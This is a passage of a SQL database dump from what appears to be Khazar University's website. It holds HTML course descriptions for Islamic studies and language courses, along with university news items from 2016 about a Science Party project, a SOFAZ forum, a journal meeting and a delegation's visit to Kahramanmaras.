font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">Kursda teologiya (kəlam), fəlsəfə və sufizm kimi üç əsas teoloji məktəb çərçivəsində İslam düşüncəsinin əsas mövzuları təhlil edilir. Kurs adı çəkilən məktəblərin irəli sürdüyü sual və problemləri, onların tarixi inkişafını və səbəblərini, İslamın yarandığı dövrdən müasir dövrə qədərki İslam cəmiyyyətlərindəki təsir və əhəmiyyətlərini araşdıracaqdır.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>ISL 313 Islam Fəlsəfəsi&nbsp;(6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt müəllimin razılığı</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">Kurs tələbələrə İslam fəlsəfəsinin əsas məktəbləri, görkəmli alimləri və əsas fəlsəfi sualları araşdırma imkanı yaradır. Kurs həmçinin İslam cəmiyyətlərinin intellectual, sosial və mədəni həyatını formalaşdıran fəlsəfi ənənələrin tarixi inkişafını tədqiq edəcəkdir. Kursun əsas məqsədi bu məktəblərin qabaqcıl nümayəndələrinin seçilmiş əsərləri vasitəsilə İslam fəlsəfəsi məktəbləri arasındakı metodoloji fərqlər və fəlsəfi mövularda meydana çıxan suallara dair filosofların cavablarını analiz etməkdir.&nbsp;</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>ISL 310 Sufizm (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\"><strong>İlkin Şərt müəllimin razılığı</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" justify;\"=\"\">Kursun əsas məqədləri bir həyat tərzi kimi sufizmin mənşəyi, mənası və inkişafı; onun Qurani-Kərim, hədislər və klassik ədəbiyyat kimi mənbələri; Sufi təfəkkürünün, əxlaqının və məktəblərinin İslam kimliyinin və cəmiyyətinin, xüsusilə ərəb, fars, türk və urdudilli xalqların yaşadığı böldgələrdəki inkişaf tarixi; mədəni, sosial və siyasi funksiyalarını araşdırmaq, İslam dünyasında xüsusilə Azərbaycanda yaşamış sufilərin seçilmiş əsərləri və həyatları ilə yaxından tanış olmaqdır.</p>  <br></div>'),(2706,1619,'en','Student Teams Prepare for “Science Party” ','On November 28, 2016, the first event was held as part of the Science Party project, which is organized with the support of the Youth Foundation of the President of the...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nNovember 28, 2016, the first event was held as part of the Science Party\r\nproject, which is organized with the support of the Youth Foundation of the\r\nPresident of the Azerbaijan Republic and partnership of Khazar University. The\r\nevent was held in the Archeology Museum in Icherisheher run by the Exposition\r\nDivision of the Archeology and Ethnography Institute of the Azerbaijan National\r\nAcademy of Sciences. The event was meant to introduce university students to\r\nthe Science Party project, which will involve student teams from various\r\nuniversities in a competition. Orkhan Zamanov, the project manager and employee\r\nof the ANAS Archology and Ethnography Institute, gave brief information about\r\nthe project and then passed the floor to Parviz Gasimov, project coordinator. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Parviz\r\nGasimov, project coordinator and employee of the ANAS Archology and Ethnography\r\nInstitute, gave background information about the project’s main objectives.\r\nThen he led participants on a tour of exhibits showing Azerbaijan’s\r\narcheological heritage in the Archeology Museum. He gave them detailed\r\ninformation about the role of archeological materials in the study of the\r\nhistory of Azerbaijan’s ancient people, new archeological research, analytical\r\nmethods, and more. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">After\r\nthe tour, participants were given information about the semifinal and final\r\nrounds of the Science Party project.&nbsp;</p>'),(1868,1149,'en','SOFAZ Spokesperson: “SOFAZ revenues amount to $126 billion”','The remark was made by Ziya Kangarli, chief investment advisor at SOFAZ, during the Forum on “Decrease in oil prices and economic reforms: ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The\r\nremark was made by Ziya Kangarli, chief investment advisor at SOFAZ, during the\r\nForum on “Decrease in oil prices and economic reforms: Challenges and\r\nOpportunities” which was held at Khazar University on May 24. News about the\r\nForum was published by many news agencies: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.today.az/news/business/151082.html\">http://www.today.az/news/business/151082.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://kreditplaza.az/az/credits_news/neft-fondunun-g%C9%99lirliliyi-c%C9%99mi-124-dir/\">http://kreditplaza.az/az/credits_news/neft-fondunun-gəlirliliyi-cəmi-124-dir/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://fins.az/aqrar/900393/Neft_Fondunun_gelirliliyi_cemi_124_dir.html\">http://fins.az/aqrar/900393/Neft_Fondunun_gelirliliyi_cemi_124_dir.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azinforum.az/neft-fondunun-g%C9%99lirliliyi-c%C9%99mi-124-dir;%0d\">http://azinforum.az/neft-fondunun-gəlirliliyi-cəmi-124-dir;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.azernews.az/oil_and_gas/97135.html\">http://www.azernews.az/oil_and_gas/97135.html</a>.</p>'),(1869,1150,'az','Təlim iştirakçıları Dövlət Neft Fonduna səfər etdilər','2016-cı il mayın 24-də Xəzər Universiteti Avrasiya Bilik Mərkəzinin “Təbii sərvətlərdən davamlı inkişafa doğru” ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil mayın 24-də Xəzər Universiteti Avrasiya Bilik Mərkəzinin “Təbii sərvətlərdən\r\ndavamlı inkişafa doğru” mövzusunda təşkil etdiyi təlimin iştirakçıları Azərbaycan\r\nRespublikası Dövlət Neft Fonduna səfər etdilər.</p>'),(1870,1150,'en','Trainees Visit State Oil Fund of the Azerbaijan Republic ','On May 24, 2016, participants of the “Transforming Natural Resource Wealth into Sustainable Prosperity” ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On May 24, 2016,\r\nparticipants of the “Transforming Natural Resource Wealth into Sustainable\r\nProsperity” coordinated by Khazar University’s Eurasia Extractive Industries\r\nKnowledge Hub visited the State Oil Fund of the Azerbaijan Republic (SOFAZ).&nbsp;</p>'),(1871,1151,'az','“Azərbaycan arxeologiyası” jurnalının redaksiya heyətinin iclası keçirildi','2016-cı il mayın 25-də Xəzər Universiteti Tarix və arxeologiya departamentində “Azərbaycan arxeologiyası” jurnalının redaksiya heyətinin iclası keçirildi. İclasda “Azərbaycan arxeologiyası” jurnalının 2016-cı il № 1 cildi üçün hazırlanan məqalələrin keyfiyyəti haqqında ətraflı müzakirələr aparıldı.','<p>2016-cı il mayın 25-də Xəzər Universiteti Tarix və arxeologiya\r\ndepartamentində “Azərbaycan arxeologiyası” jurnalının redaksiya heyətinin\r\niclası keçirildi. İclasda “Azərbaycan arxeologiyası” jurnalının 2016-cı il № 1\r\ncildi üçün hazırlanan məqalələrin keyfiyyəti haqqında ətraflı müzakirələr\r\naparıldı. İclasda “Azərbaycan arxeologiyası” jurnalının baş redaktoru professor\r\nQüdrət İsmayılzadə, redaksiya heyətinin üzvləri: tarix elmləri doktoru Tarix\r\nDostiyev, tarix elmləri namizədi –Bəhlul İbrahimli, tarix elmləri namizədi Roza\r\nArazova və departamentin müəllimi Orxan Zamanov iştirak etdilər.&nbsp;</p>'),(1872,1151,'en','Azerbaijan Archeology Journal Meeting','On May 25, 2016, a meeting of the Editorial Staff of the Azerbaijan Archeology Journal was held in the Khazar University Department of History and Archeology. The meeting included a discussion about the quality of article submitted for publication in the next edition of the journal to be published (2016 № 1).','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nMay 25, 2016, a meeting of the Editorial Staff of the Azerbaijan Archeology\r\nJournal was held in the Khazar University Department of History and Archeology.\r\nThe meeting included a discussion about the quality of article submitted for\r\npublication in the next edition of the journal to be published (2016 № 1).\r\nParticipants in the meeting included Professor Gudret Ismayilzade,\r\nEditor-in-Chief of the journal; as well as members of the Editorial Staff\r\nincluding Doctor of History Tarikh Dostiyev, Dr. Bahlul Ibrahimli, Dr. Roza\r\nArazova, and Orkhan Zamanov, instructor of the Department of History and\r\nArcheology. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(1873,1148,'en','Khazar University Delegation Visits Kahramanmaras','On May 14-18, 2016, a delegation led by Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, visited Kahramanmaras to participate in the traditional Spring Festival there by the invitation of Kahramanmaras Sutcu Imam University. ','<p>On May 14-18, 2016, a delegation led by Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, visited Kahramanmaras to participate in the traditional\r\nSpring Festival there by the invitation of Kahramanmaras Sutcu Imam University.\r\nThe delegation included Nailakhanim Isayeva, founder of Dunya School; Alovsat\r\nAmirbeyli, Director for Public Relations and Media; Associate Professor\r\nZulfiyya Sadigova, Head of the Department of Music and Fine Arts; Gulyanag\r\nMammadova, People’s Artist of the Republic; Farid Aliyev, Meritorious Artist of\r\nthe Republic; the chamber orchestra; boys’ and girls’ dance ensembles led by\r\nTelman Aliyev and Sabina Ismayilova; and vocal soloists including students and\r\nfaculty members. </p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n43 members of the delegation arrived at the Sarp Customs Control of\r\nKahramanmaras Sutcu Imam University after traveling over 2000 kilometers by bus\r\n(an additional 4 members would travel by plane and join them). Despite the fact\r\nthat they arrived during the night, representatives of Kahramanmaras Sutcu Imam\r\nUniversity (Mithat Karaaslan, Assistant to the Executive Secretary, and Nedim\r\nDuman, Head of Security Services) met the delegation in front of their hotel.\r\nThe delegation rested until early afternoon and then began to prepare their\r\nprogram for the concert they would perform at the Spring Festival at the\r\nUniversity. </p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOn May 16 and 17, the Khazar University contingent was to perform two large\r\nconcerts for thousands of students, faculty and staff of Kahramanmaras Sutcu\r\nImam University. The concerts of the Spring Festival were to be held in the\r\nopen air. The weather was very hot on those two days. While the delegation was\r\npreparing for the concert, the entire administration of Kahramanmaras Sutcu\r\nImam University came to meet them at their hotel, Uygulama, even though it was\r\nnot a work day. Administration members included Professor Ismayil Bakan, Vice\r\nPresident of the University; Ibrahim Ekiz, Executive Secretary; Mithat\r\nKaraaslan, Assistant to the Executive Secretary; Gulderen Aslan; Nedim Duman,\r\nHead of Security Services; and others. In the evening, an open-air banquet was\r\nheld in honor of the Khazar University guests. Professor Hamlet Isaxanli, the\r\nfounder of Khazar University and Chairman of its Board of Directors and\r\nTrustees, and Professor Durmus Deveci, Rector of Kahramanmaras Sutcu Imam\r\nUniversity, participated in the dinner. </p>\r\n<p>On May 16, the Khazar\r\nUniversity contingent began to prepare for their concert early in the morning.\r\nProfessor Ismayil Bakan, Vice President of the University, and other staff\r\nmembers mobilized all the necessary personnel to ensure a quality event. </p>\r\n<p>Finally the time\r\narrived. Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, and Professor Durmus Deveci,\r\nRector of Kahramanmaras Sutcu Imam University, officially opened the first day\r\nof the Spring Festival. The Festival included exhibits of paper marbling,\r\ndrawing, jewelry, carpet making, and other art forms. </p>\r\n<p>The Spring Festival\r\nbegan with a dance by the Folk Dance Group. Then Mustafa, the emcee for\r\nKahramanmaras Sutcu Imam University, greeted the official guests and many\r\nstudents sitting outside at the Festival, and he invited Khazar University to\r\nthe stage. The Khazar University Chamber Orchestra performance, colorful dance\r\nnumbers, and songs by Gulyanag Mammadova and Farid Aliyev were welcomed by the\r\naudience. The Spring Festival was recorded by Turkey’s TRT News channel. H.\r\nIsaxanli, D. Deveci and students Murad Balagadashov and Hamran Amirli gave\r\ninterviews. The event was covered in the news programs of TRT AVAZ, TRT Haber\r\nand TRT channel. </p>\r\n<p>After the concert, the\r\nKhazar University group decided to start preparing for their concert the next\r\nday. In the evening Mehmet Narin, Head of the Kahramanmaras Exective Power,\r\norganized a dinner for Professor Hamlet Isaxanli, the founder of Khazar University\r\nand Chairman of its Board of Directors and Trustees;&nbsp; Nailakhanim Isayeva,\r\nfounder of Dunya School; Alovsat Amirbeyli, Director for Public Relations and\r\nMedia; Associate Professor Zulfiyya Sadigova, Head of the Department of Music\r\nand Fine Arts; Gulyanag Mammadova, People’s Artist of the Republic; Farid\r\nAliyev, Meritorious Artist of the Republic; and Professor Ismayil Bakan, Vice\r\nPresident of Kahramanmaras Sutcu Imam University. </p>\r\n<p>Under the direction of\r\nHamran Amirli, student of the KSIU School of Economics, the Khazar University\r\nstudents toured Kahramanmaras. On the second day of the Spring Festival, in\r\naddition to art exhibits, students of KSIU demonstrated the cultures, artwork,\r\nand national cuisine of various countries. On the same day, the participation\r\nof the Khazar University musical collective brought diversity to the\r\ncelebration. In contrast to last year’s Festival, this year the city residents\r\nwere not invited. In recent days, many people were killed in Turkey as a result\r\nof acts of terrorism. Some of them were from Kahramanmaras. As a result, the\r\nuniversity decided not to make this year’s Festival very celebratory out of\r\nrespect to the victims. </p>\r\n<p>On this day of the\r\nfestival, the emcee invited Professor Hamlet Isaxanli, the founder of Khazar University\r\nand Chairman of its Board of Directors and Trustees, to the stage. Prof.\r\nIsaxanli thanked the university for the invitation, specifically mentioning\r\nProfessor Durmus Deveci, Rector of Kahramanmaras Sutcu Imam University. He\r\nexpressed his condolences for the recent terror acts and said that it was a\r\ngreat pleasure to be in Kahramanmaras. Then he presented gifts on behalf of\r\nKhazar University to the KSIU administration. In turn, Professor Durmus Deveci\r\nthanked Prof. Isaxanli for his participation in the event. He presented gifts\r\nfrom KSIU to Prof. Isaxanli and Alovsat Amirbeyli. On the same day, the Khazar\r\nUniversity collective had prepared a special concert program, which they\r\nperformed for two hours to the delight of the KSIU students in the audience.\r\nThey especially appreciated the songs of Gulyanag Mammadova, People’s Artist,\r\nand Farid Aliyev, Meritorious Artist, as well as the students’ dance\r\nperformances. </p>\r\n<p>That evening, KSIU Vice\r\nPresident Bakan invited Prof. Isaxanli, Nailakhanim Isayeva, Alovsat Amirbeyli,\r\nZulfiyya Sadigova, Gulyanag Mammadova, and Farid Aliyev to his home for dinner.\r\nProfessor Durmus Deveci and his family also joined them for dinner. They talked\r\nlate into the night. Gulyanag Mammadova and Farid Aliyev performed songs for\r\nthe guests. The group returned to the hotel late in the night, where the\r\nstudents were still celebrating. They invited the administrators to join them. </p>\r\n<p>In the morning on May\r\n18, it came time for the Khazar University collective to depart from their dear\r\nfriends in Kahramanmaras. By 8 in the morning, the KSIU administration had\r\nalready gathered to send them off. The Khazar University collective didn’t want\r\nto leave, but they had to prepare for their next concert. </p>\r\n<p>Prof. Isaxanli,\r\nNailakhanim Isayeva, Alovsat Amirbeyli, Zulfiyya Sadigova, Gulyanag Mammadova,\r\nand Farid Aliyev departed by bus for the city of Giresun, where they would make\r\ntheir next visit. </p>\r\n<p>Alovsat Amirbeyli</p>\r\n<p>Kahramanmaras</p>\r\n<p>15-18 May 2016</p>'),(866,575,'en','Courses','Courses','<p><strong><em>ARAB 201: Arabic-1 (6 credits)</em></strong></p>\r\n<p><em><strong>Prerequisite: NONE</strong></em><strong><em></em></strong></p>\r\n<p style=\"text-align:justify\">The aim of the course\r\nis to introduce students the fundamentals of standard Arabic, including Arabic\r\ncharacters, pronunciation, and grammar, with emphasis on all four basic\r\nlanguage skills – listening, reading, speaking and writing. In this course\r\nstudents who do not understand or speak any Arabic are expected to achieve\r\ncontrol of writing characters, basic sentence patterns, and daily conversation\r\nat basic level.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>ARAB 202: Arabic-2 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: ARAB 201</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Being designed as the\r\ncontinuation of the ARAB 201, this course’s primary goals are continuation of\r\nimprovement of four skills in Arabic gained in the previous course, achievement\r\nof a basic level of understanding, reading, writing and speaking in Arabic.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>ARAB 301: Arabic-3 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: ARAB 202</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This course is\r\ndesigned for students who have completed two levels of Arabic study and have\r\nalready gained certain speaking, writing, reading and understanding skills in\r\nArabic at pre-intermediate level and continues with a balanced requirement in\r\nall of these basic skills. Being conducted mainly in Arabic, the course aims to\r\nimprove students’ knowledge both in modern and classic Arabic.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>ARAB 302: Arabic-4 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: ARAB 301</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">As the continuation of\r\nARAB 301, this course emphasizes improvement in all four aspects of the\r\nlanguage to the advanced level – achievement of an advanced level of speaking\r\nand understanding competence and improvement of reading and writing skills.\r\nSelected texts for the course covers main aspects of contemporary Arabic in\r\nterms of language training. Selected texts for the course covers main aspects\r\nof contemporary Arabic in terms of language training.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>ARAB 401: Arabic Literature (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: ARAB 301</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Some of the main\r\npurposes of the course is to improve ability in reading and discussing of\r\nselected works of classical, traditional and modern Arabic literature from\r\ntheir originals, to gain an understanding of the cultural and historical\r\nbackground of the poetic and critical writings of Arabic, to identify\r\nsimilarities and differences of literature styles, investigating different\r\ntopics in contemporary Arabic literature emphasizing on historical,\r\nphilological and critical approaches.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>ARAB 403: Communicative Arabic (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: ARAB 302</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Some of the main goals\r\nof the course are to assist students to advance their listening and speaking\r\nproficiency in Arabic, to gain the ability of expressing themselves fluently in\r\noral and written forms on different topics using vocabulary and grammar\r\npatterns learned at ARAB 201, 202, 301, 302.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>ARAB 402: Translation Practice - Arabic&nbsp;\r\n(6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: ARAB 301</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Through materials\r\nselected from contemporary Arabic publications, this course aims to provide\r\nimprovement of translation skills of students beside reading, speaking and\r\nlistening comprehensions.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PERS 201: Persian-1 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: NONE</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The aim of the course\r\nis to introduce students the fundamentals of standard Persian, including\r\nPersian characters, pronunciation, and grammar, with emphasis on all four basic\r\nlanguage skills – listening, reading, speaking and writing. In this course\r\nstudents who do not understand or speak any Persian are expected to achieve\r\ncontrol of writing characters, basic sentence patterns, and daily conversation\r\nat basic level.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PERS 202: Persian-2 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: PERS 201</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Being designed as the\r\ncontinuation of the PERS 201, this course’s primary goals are continuation of improvement\r\nof four skills in Persian gained in the previous course, achievement of a basic\r\nlevel of understanding, reading, writing and speaking in Persian.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PERS 301: Persian-3 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: PERS 202</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This course is\r\ndesigned for students who have completed two levels of Persian study and have\r\nalready gained certain speaking, writing, reading and understanding skills in\r\nPersian at pre-intermediate level and continues with a balanced requirement in\r\nall of these basic skills. Being conducted mainly in Persian, the course aims\r\nto improve students’ knowledge both in modern and classic Persian.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PERS 302: Persian-4 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: PERS 301</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">As the continuation of\r\nPERS 301, this course emphasizes improvement in all four aspects of the language\r\nto the advanced level – achievement of an advanced level of speaking and\r\nunderstanding competence and improvement of reading and writing competence.\r\nSelected texts for the course covers main aspects of contemporary Persian in\r\nterms of language training.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PERS 401: Persian Poetry (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: PERS 301</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Some of the main\r\npurposes of the course is to improve ability in reading and discussing of\r\nselected works of classical and modern Persian poetry from their originals, to\r\ngain an understanding of the cultural and historical background of the\r\ndifferent chronological periods of Persian poetry, to identify similarities and\r\ndifferences of literature styles, investigating different topics in\r\ncontemporary Persian poetry emphasizing on historical, philological and\r\ncritical approaches.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong><em>PERS 403: Communicative Persian (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: PERS 302</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Some of the main goals\r\nof the course are to assist students to advance their listening and speaking\r\nproficiency in Persian, to gain the ability of expressing themselves fluently\r\nin oral and written forms on different topics using vocabulary and grammar\r\npatterns learned at PERS 201, 202, 301, 302.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>PERS 402: Translation Practice –Persian (6\r\ncredits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: PERS 301</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Through materials\r\nselected from contemporary Persian publications, this course aims to provide\r\nimprovement of translation skills of students beside reading, speaking and\r\nlistening comprehensions.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>JAPAN&nbsp;201: Japanese-1 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: NONE</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The aim of the course\r\nis to introduce students the fundamentals of standard Japanese, including\r\nJapanese characters, pronunciation, and grammar, with emphasis on all four\r\nbasic language skills – listening, reading, speaking and writing. In this\r\ncourse students who do not understand or speak any Japanese are expected to\r\nachieve control of writing characters, basic sentence patterns, and daily\r\nconversation at basic level.</p>\r\n<p>&nbsp;<em></em></p>\r\n<p><strong><em>JAPAN&nbsp;202: Japanese -2 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: JAPAN 201</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Being designed as the\r\ncontinuation of the Japanese 201, this course’s primary goals are maintenance\r\nof improvement of four skills in Japanese language gained in the previous\r\ncourse, achievement of a basic level of understanding, reading, writing and\r\nspeaking in Japanese language.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>CHIN 201: Chinese-1 (6 credits)</em></strong><strong><em></em></strong></p>\r\n<p><strong><em>Prerequisite: NONE</em></strong><strong><em></em></strong></p>\r\n<p style=\"text-align:justify\">The aim of the course\r\nis to introduce students the fundamentals of standard Chinese language,\r\nincluding Chinese characters, pronunciation, and grammar, with emphasis on all\r\nfour basic language skills – listening, reading, speaking and writing. In this\r\ncourse students who do not understand or speak any Chinese are expected to\r\nachieve control of writing characters, basic sentence patterns, and daily\r\nconversation at basic level.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>CHIN 202: Chinese-2 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: CHIN 201</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Being designed as the\r\ncontinuation of the CHIN 201, this course’s primary goals are maintenance of\r\nimprovement of four skills in Chinese language gained in the previous course,\r\nachievement of a basic level of understanding, reading, writing and speaking in\r\nChinese language.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>HEBR 201: Hebrew-1 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: NONE</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The aim of the course\r\nis to introduce students the fundamentals of standard Hebrew, including Hebrew\r\ncharacters, pronunciation, and grammar, with emphasis on all four basic language\r\nskills – listening, reading, speaking and writing. In this course students who\r\ndo not understand or speak any Hebrew are expected to achieve control of\r\nwriting characters, basic sentence patterns, and daily conversation at basic\r\nlevel.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>HEBR 202: Hebrew-2 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: HEBR 201</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Being designed as the\r\ncontinuation of the HEBR 201, this course’s primary goals are maintenance of\r\nimprovement of four skills in Hebrew gained in the previous course, achievement\r\nof a basic level of understanding, reading, writing and speaking in Hebrew.</p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>KORE 201: Korean-1 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: NONE</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The aim of the course\r\nis to introduce students the fundamentals of standard Korean, including Korean\r\ncharacters, pronunciation, and grammar, with emphasis on all four basic\r\nlanguage skills – listening, reading, speaking and writing. In this course\r\nstudents who do not understand or speak any Korean are expected to achieve\r\ncontrol of writing characters, basic sentence patterns, and daily conversation\r\nat basic level.</p>\r\n<p>&nbsp;<em></em></p>\r\n<p><strong><em>KORE 202: Korean-2 (6 credits)</em></strong><em></em></p>\r\n<p><strong><em>Prerequisite: KORE 201</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Being designed as the\r\ncontinuation of the KORE 201, this course’s primary goals are maintenance of\r\nimprovement of four skills in Korean language gained in the previous course,\r\nachievement of a basic level of understanding, reading, writing 